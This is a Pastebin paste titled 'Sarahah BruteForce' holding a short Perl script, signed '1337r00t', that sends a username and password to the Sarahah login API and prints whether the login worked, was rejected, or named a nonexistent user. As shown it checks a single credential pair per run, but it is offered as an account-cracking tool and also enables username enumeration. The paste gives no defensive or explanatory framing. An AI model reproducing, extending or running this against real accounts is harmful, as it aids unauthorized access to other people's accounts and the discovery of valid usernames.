Guest User

Sarahah BruteForce

a guest
Sep 9th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.74 KB | None | 0 0
  1. use LWP::UserAgent;
  2.  
  3. print "Username => ";
  4. $username=<STDIN>;
  5. chomp($username);
  6.  
  7. print "Password => ";
  8. $password=<STDIN>;
  9. chomp($password);
  10.  
  11. $sarahah = LWP::UserAgent->new();
  12. $response = $sarahah->post('https://www.sarahah.com/api/account/login',{ username => $username , password => $password , grant_type => 'password' });
  13. if ($response->content=~ /"access_token":"/) {
  14.     print "Logged ($username:$password)\n";
  15. }
  16. else
  17. {
  18.     if ($response->content=~ /The username\/password couple is invalid./) {
  19.         print "Failed ($username:$password)\n";
  20.     }
  21.     else
  22.     {
  23.         if ($response->content=~ /The user does not exist./) {
  24.             print "The ($username) does not found.\n";
  25.         }
  26.         else
  27.         {
  28.             print $response->content();
  29.         }
  30.     }
  31. }
  32.  
  33. # CoDeD By 1337r00t
Add Comment
Please, Sign In to add comment